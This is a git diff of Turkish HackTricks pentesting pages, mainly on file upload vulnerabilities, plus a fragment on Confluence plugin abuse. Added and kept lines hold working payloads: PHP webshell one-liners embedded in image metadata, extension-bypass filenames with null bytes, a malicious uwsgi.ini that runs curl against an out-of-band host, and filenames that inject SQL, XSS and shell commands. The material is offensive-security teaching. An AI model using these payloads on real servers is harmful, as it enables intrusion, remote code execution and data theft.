* **Oturum Jetonlarını Çalma**: Yanıt içinde başlıkları (çerezle birlikte) yansıtan bir uç nokta eklemek ve bunu iletişim kuracak bazı javascript ile çerezleri sızdırmak.
|
||||
* **Komut Çalıştırma**: Elbette, kod çalıştıracak bir eklenti oluşturmak mümkündür.
|
||||
* **Ters Shell**: Ya da ters bir shell almak.
|
||||
* **DOM Proxying**: Eğer confluence özel bir ağ içindeyse, buna erişimi olan bir kullanıcının tarayıcısı aracılığıyla bir bağlantı kurmak ve örneğin sunucu komutunu çalıştırmak mümkündür.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
|
@ -144,8 +144,8 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
|
|||
<summary>HackTricks'i Destekleyin</summary>
|
||||
|
||||
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
|
||||
* **Hacking ipuçlarını paylaşarak [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repolarına PR gönderin.**
|
||||
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
|
||||
* **Hacking ipuçlarını paylaşmak için [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repolarına PR gönderin.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,9 +15,9 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hack etmek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -34,13 +34,13 @@ Diğer yararlı uzantılar:
|
|||
* **Perl**: _.pl, .cgi_
|
||||
* **Erlang Yaws Web Server**: _.yaws_
|
||||
|
||||
### Dosya uzantısı kontrollerini atlama
|
||||
### Dosya uzantısı kontrollerini atlatma
|
||||
|
||||
1. Eğer uygulanıyorsa, **önceki uzantıları kontrol edin.** Ayrıca bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._
|
||||
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. **Sonuna özel karakterler eklemeyi deneyin.** Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_)
|
||||
3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** de kullanmayı deneyebilirsiniz_)
|
||||
* _file.php%20_
|
||||
* _file.php%0a_
|
||||
* _file.php%00_
|
||||
|
@ -50,7 +50,7 @@ Diğer yararlı uzantılar:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlamayı deneyin, örneğin **uzantıyı iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
|
||||
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlatmaya çalışın, örneğin **uzantıyı iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** de kullanabilirsiniz._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -62,58 +62,58 @@ Diğer yararlı uzantılar:
|
|||
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı deneyin** ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmese de kod çalıştırır):
|
||||
* _ex: file.php.png_
|
||||
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlamak için yararlı olabilir (örneğin “file.asp::$data.”)
|
||||
6. **Geçerli uzantıdan önce exec uzantısını koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, _**.php**_ ile bitmese de kod çalıştırır):
|
||||
* _ör: file.php.png_
|
||||
7. **Windows'ta NTFS alternatif veri akışı (ADS)** kullanma. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra başka teknikler kullanılarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek de daha fazla kısıtlamayı atlatmak için yararlı olabilir (örneğin “file.asp::$data.”)
|
||||
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilecektir. Ve kötü niyetli PHP kalacaktır. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maksimum 255 bayt
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkar ve .png ekle
|
||||
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ab3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkar ve .png ekle
|
||||
# Dosyayı yükleyin ve yanıtı kontrol edin, kaç karaktere izin verdiğini. Diyelim ki 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# Yükü oluştur
|
||||
AAA<--SNIP 232 A-->AAA.php.png
|
||||
```
|
||||
|
||||
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlama
|
||||
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlatma
|
||||
|
||||
* **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_
|
||||
* **Content-Type** kontrollerini atlatmak için **Content-Type** **başlığının** **değerini** şu şekilde ayarlayın: _image/png_, _text/plain_, application/octet-stream_
|
||||
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
* **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
|
||||
* **Sihirli numara** kontrolünü atlatmak için dosyanın başına **gerçek bir resmin** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da shell'i **meta veriler** içine yerleştirin:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` ya da yükü doğrudan bir resme de **yerleştirebilirsiniz**:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphaneleri kullanarak, önceki teknikler işe yaramayacaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
* Eğer resminize **sıkıştırma ekleniyorsa**, örneğin bazı standart PHP kütüphaneleri kullanarak [PHP-GD](https://www.php.net/manual/fr/book.image.php), önceki teknikler işe yaramayacaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan PLTE parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
|
||||
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
* Web sayfası ayrıca resmi **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan IDAT parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
|
||||
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt parçası** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
|
||||
* Resim **yeniden boyutlandırmayı** **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, **sıkıştırmayı** **hayatta tutacak** bazı metin eklemek için [**burada tanımlanan tEXt parçası**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) tekniğini kullanabilirsiniz.
|
||||
* [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Diğer Kontrol Edilecek İpuçları
|
||||
### Kontrol Edilecek Diğer İpuçları
|
||||
|
||||
* Yüklenmiş dosyayı **yeniden adlandırmak** için bir zafiyet bulun (uzantıyı değiştirmek için).
|
||||
* Geri kapıyı çalıştırmak için bir **Yerel Dosya Dahil Etme** zafiyeti bulun.
|
||||
* **Yerel Dosya Dahil Etme** zafiyetini bulmak için çalışın, arka kapıyı çalıştırmak için.
|
||||
* **Olası Bilgi sızıntısı**:
|
||||
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin.
|
||||
2. **Zaten var olan** bir **dosya** veya **klasör** ismiyle bir dosya yükleyin.
|
||||
3. **“.”, “..” veya “…”** gibi bir isme sahip bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
|
||||
3. **“.”, “..” veya “…”** ismine sahip bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır.
|
||||
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows)
|
||||
5. **Windows**'ta ismi `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
|
||||
6. **Windows**'ta **rezerv** (**yasaklı**) **isimler** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9.
|
||||
* Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **yüklemeyi** deneyin.
|
||||
* Ayrıca, **kötü niyetli kodu** çalıştıracak bir **yürütülebilir** (.exe) veya **.html** (daha az şüpheli) dosyayı **kurban tarafından yanlışlıkla açıldığında** çalıştırmak için yüklemeyi deneyin.
|
||||
|
||||
### Özel uzantı ipuçları
|
||||
|
||||
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** ipucuna bir göz atın](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** ipucuna bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için kullanılabilir ve **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...)
|
||||
|
||||
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş** olabilir.
|
||||
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak için** kullanılan php dosyaları için kullanılır, bu nedenle, bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**.
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
|
@ -125,7 +125,7 @@ Eğer bir Jetty sunucusuna bir XML dosyası yükleyebilirseniz, [**yeni \*.xml v
|
|||
|
||||
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
|
||||
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir.
|
||||
|
||||
Aşağıdaki zararlı `uwsgi.ini` dosyası örneğini düşünün, çeşitli şemaları sergileyen:
|
||||
```ini
|
||||
|
@ -145,13 +145,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme ayarına getirilmelidir. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
|
||||
Yükleme işlemi, yapılandırma dosyasının ayrıştırılması sırasında gerçekleşir. Yapılandırmanın etkinleştirilmesi ve ayrıştırılması için, uWSGI süreci ya yeniden başlatılmalı (potansiyel olarak bir çökme sonrası veya bir Hizmet Reddi saldırısı nedeniyle) ya da dosya otomatik yeniden yükleme olarak ayarlanmalıdır. Otomatik yeniden yükleme özelliği, etkinleştirildiğinde, değişiklikleri tespit ettiğinde dosyayı belirli aralıklarla yeniden yükler.
|
||||
|
||||
uWSGI'nin yapılandırma dosyası ayrıştırmasının gevşek doğasını anlamak çok önemlidir. Özellikle, tartışılan yük, bir ikili dosyaya (örneğin bir resim veya PDF) yerleştirilebilir ve potansiyel istismar kapsamını daha da genişletebilir.
|
||||
|
||||
## **wget Dosya Yükleme/SSRF Hilesi**
|
||||
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi** **belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol edebilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
Bazı durumlarda, bir sunucunun **`wget`** kullanarak **dosya indirdiğini** ve **URL'yi belirtebileceğinizi** görebilirsiniz. Bu durumlarda, kod indirilen dosyaların uzantısının yalnızca izin verilen dosyaların indirileceğini sağlamak için bir beyaz liste içinde olup olmadığını kontrol edebilir. Ancak, **bu kontrol atlatılabilir.**\
|
||||
**linux**'ta bir **dosya adı** için **maksimum** uzunluk **255** karakterdir, ancak **wget** dosya adlarını **236** karaktere kısaltır. **"A"\*232+".php"+".gif"** adında bir dosya **indirebilirsiniz**, bu dosya adı **kontrolü atlatacaktır** (bu örnekte **".gif"** geçerli bir uzantıdır) ancak `wget` dosyayı **"A"\*232+".php"** olarak **yeniden adlandıracaktır**.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -183,23 +183,23 @@ Not edin ki **başka bir seçenek** bu kontrolü atlamak için düşündüğün
|
|||
|
||||
## Dosya yüklemeden diğer güvenlik açıklarına
|
||||
|
||||
* **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın
|
||||
* **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz
|
||||
* **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin
|
||||
* **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyonu hilesi burada](../command-injection.md))
|
||||
* [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/#xss-uploading-files-svg)
|
||||
* **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/#xss-abusing-service-workers)
|
||||
* [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
* [**Açık Yönlendirme** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg yüklemeleri** deneyin\*\*\*\*
|
||||
* [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Eğer **web sunucusunu bir URL'den resim yakalamaya yönlendirebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
* [**XXE ve CORS** bypass PDF-Adobe yüklemesi ile](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* XSS için özel olarak hazırlanmış PDF'ler: [aşağıdaki sayfa **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin
|
||||
* Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin
|
||||
* **filename**'i `../../../tmp/lol.png` olarak ayarlayın ve bir **path traversal** elde etmeye çalışın.
|
||||
* **filename**'i `sleep(10)-- -.jpg` olarak ayarlayın ve bir **SQL injection** elde edebilirsiniz.
|
||||
* **filename**'i `<svg onload=alert(document.domain)>` olarak ayarlayın ve bir XSS elde edin.
|
||||
* **filename**'i `; sleep 10;` olarak ayarlayın ve bazı komut enjeksiyonlarını test edin (daha fazla [komut enjeksiyon hileleri burada](../command-injection.md)).
|
||||
* [**XSS** resim (svg) dosya yüklemede](../xss-cross-site-scripting/#xss-uploading-files-svg).
|
||||
* **JS** dosya **yükleme** + **XSS** = [**Service Workers** istismarı](../xss-cross-site-scripting/#xss-abusing-service-workers).
|
||||
* [**XXE svg yüklemede**](../xxe-xee-xml-external-entity.md#svg-file-upload).
|
||||
* [**Open Redirect** svg dosyası yükleyerek](../open-redirect.md#open-redirect-uploading-svg-files).
|
||||
* [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) adresinden **farklı svg payload'ları** deneyin.
|
||||
* [Ünlü **ImageTrick** güvenlik açığı](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/).
|
||||
* Eğer **web sunucusunu bir URL'den bir resmi yakalamaya yönlendirebilirseniz**, bir [SSRF](../ssrf-server-side-request-forgery/) istismar etmeye çalışabilirsiniz. Eğer bu **resim** bazı **kamusal** sitelerde **kaydedilecekse**, [https://iplogger.org/invisible/](https://iplogger.org/invisible/) adresinden bir URL belirtebilir ve **her ziyaretçinin bilgilerini çalabilirsiniz**.
|
||||
* [PDF-Adobe yüklemesi ile **XXE ve CORS** atlatma](pdf-upload-xxe-and-cors-bypass.md).
|
||||
* XSS için özel olarak hazırlanmış PDF'ler: [Aşağıdaki sayfa, **PDF verilerini enjekte ederek JS yürütme** elde etmenin nasıl olduğunu sunmaktadır](../xss-cross-site-scripting/pdf-injection.md). Eğer PDF yükleyebilirseniz, verilen talimatlara göre rastgele JS yürütecek bazı PDF'ler hazırlayabilirsiniz.
|
||||
* \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) içeriğini yükleyerek sunucunun herhangi bir **antivirüs** programı olup olmadığını kontrol edin.
|
||||
* Dosya yüklerken herhangi bir **boyut limiti** olup olmadığını kontrol edin.
|
||||
|
||||
İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi (buradan [alınmıştır](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
İşte yükleme yaparak elde edebileceğiniz şeylerin ilk 10 listesi ( [buradan](https://twitter.com/SalahHasoneh1/status/1281274120395685889) ):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Saklı XSS / SSRF / XXE
|
||||
|
@ -304,7 +304,7 @@ pop graphic-context
|
|||
```
|
||||
## PNG Üzerine PHP Shell Gömme
|
||||
|
||||
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmemesi, belirli kullanım durumları için önemli bir avantajdır.
|
||||
Bir PNG dosyasının IDAT parçasına PHP shell gömmek, belirli görüntü işleme işlemlerini etkili bir şekilde atlatabilir. PHP-GD'den `imagecopyresized` ve `imagecopyresampled` fonksiyonları, sırasıyla görüntüleri yeniden boyutlandırma ve yeniden örnekleme için yaygın olarak kullanıldığından, bu bağlamda özellikle önemlidir. Gömülü PHP shell'in bu işlemlerden etkilenmeden kalabilme yeteneği, belirli kullanım durumları için önemli bir avantajdır.
|
||||
|
||||
Bu tekniğin metodolojisi ve potansiyel uygulamaları hakkında detaylı bir keşif, aşağıdaki makalede sağlanmıştır: ["PNG IDAT parçalarında Web Shell'leri Kodlama"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Bu kaynak, sürecin ve sonuçlarının kapsamlı bir anlayışını sunmaktadır.
|
||||
|
||||
|
@ -312,9 +312,9 @@ Daha fazla bilgi için: [https://www.idontplaydarts.com/2012/06/encoding-web-she
|
|||
|
||||
## Poliglot Dosyalar
|
||||
|
||||
Poliglot dosyalar, siber güvenlikte benzersiz bir araç olarak hizmet eder ve aynı anda birden fazla dosya formatında geçerli olarak var olabilen bukalemunlar gibi davranır. İlginç bir örnek, hem GIF hem de RAR arşivi olarak işlev görebilen bir [GIFAR](https://en.wikipedia.org/wiki/Gifar)dır. Bu tür dosyalar bu eşleşme ile sınırlı değildir; GIF ve JS veya PPT ve JS gibi kombinasyonlar da mümkündür.
|
||||
